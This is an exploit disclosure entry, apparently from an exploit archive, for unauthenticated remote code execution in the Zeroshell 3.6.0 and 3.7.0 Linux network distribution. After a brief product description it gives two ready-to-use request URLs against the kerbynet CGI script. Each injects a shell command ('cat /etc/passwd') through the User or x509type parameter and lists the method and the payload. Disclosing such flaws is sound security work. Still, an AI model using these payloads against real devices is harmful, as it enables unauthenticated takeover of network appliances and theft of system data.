Zeroshell 3.6.0 / 3.7.0 Remote Code Execution

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# Exploit Title: Zeroshell - Net Services Unauthenticated Remote Code Execution | RCE  
# Date: 13.01.2017  
# Exploit Author: Ozer Goker  
# Vendor Homepage: http://www.zeroshell.org  
# Software Link: www.zeroshell.org/download/  
# Version: 3.6.0 & 3.7.0  
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Introduction  
  
Zeroshell is a small Linux distribution for servers and embedded devices with the aim to provide network services. It is available in the form of live CD or compact Flash image and it can be configured using a web browser. The main features of Zeroshell include: load balancing and failover of multiple Internet connections, UMTS/HSDPA connections by using 3G modems, RADIUS server for providing secure authentication and automatic management of encryption keys to wireless networks, captive portal to support web login, and many others.  
  
  
Vulnerabilities: Unauthenticated Remote Code Execution | RCE  
  
  
RCE details:  
  
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RCE 1  
  
URL  
http://192.168.0.75/cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW=  
  
METHOD  
Get,Post  
  
PARAMETER  
User  
  
PAYLOAD  
%27%26cat%20/etc/passwd%26%27  
  
  
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RCE 2  
  
URL  
http://192.168.0.75/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%26cat%20/etc/passwd%26%27  
  
METHOD  
Get  
  
PARAMETER  
x509type  
  
PAYLOAD  
%27%26cat%20/etc/passwd%26%27  
  
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